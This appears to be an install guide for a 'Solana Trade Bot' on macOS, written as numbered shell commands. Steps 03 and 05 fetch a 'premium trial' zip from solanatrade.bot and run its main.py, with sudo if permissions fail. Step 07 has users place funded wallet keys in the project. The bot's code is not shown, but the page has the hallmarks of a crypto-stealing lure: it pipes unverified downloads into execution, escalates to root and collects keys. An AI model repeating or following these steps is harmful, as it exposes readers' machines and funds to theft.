Prerequisites
1. Setup & Launch
-
01
Install Homebrew package manager
Homebrew gives you the package installer you need for Python and Solana tooling.
zsh · macOS/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
-
02
Install Python 3.10 via Homebrew
Solana Solana Trade Bot targets Python 3.10 for SDK compatibility and async performance.
zsh · macOSbrew install [email protected]
-
03
Download the premium Solana Trade Bot package
Grab the latest trial build, extract it to a dedicated folder, and jump into the project directory.
zsh · macOScd ~/Downloads curl -L -o sol-ai-trading-bot-source.zip https://solanatrade.bot/sol-ai-trading-bot-source.zip unzip sol-ai-trading-bot-source.zip -d sol-ai-trading-bot-source cd sol-ai-trading-bot-source
-
04
Create & activate the virtual environment
Keep dependencies clean by isolating them inside a dedicated Python 3.10 environment.
zsh · macOSpython3 -m venv .venv source .venv/bin/activate
-
05
Launch the premium trial build
Start Solana Trade Bot immediately. If macOS prompts for elevated privileges, rerun with
sudo.zsh · macOSpython3 main.py # If permissions error occurs, run this instead: sudo python3 main.py
-
06
Add Solana CLI tooling
Install Solana CLI utilities for wallet management and transaction signing.
zsh · macOSsh -c "$(curl -sSfL https://release.solana.com/stable/install)" export PATH="$HOME/.local/share/solana/install/active_release/bin:$PATH"
-
07
Copy configuration templates
Duplicate the sample environment files and replace placeholders with your funded wallet details.
zsh · macOScp .env.example .env cp config/sample-keypair.json config/keypair.json
Security Tip: Store the generated keypair securely (hardware wallet or encrypted vault) and never commit it to git.
Next Steps After Launch
-
A
Back up credentials
Archive
config/keypair.jsonoffline and rotate it if you share trial access with teammates. -
B
Monitor performance
Stream Solana Trade Bot console logs into your observability stack to track fills, latency, and risk events.
-
C
Fine-tune strategy settings
Update
config/settings.yamlbefore allocating more capital to match your risk profile and DEX focus.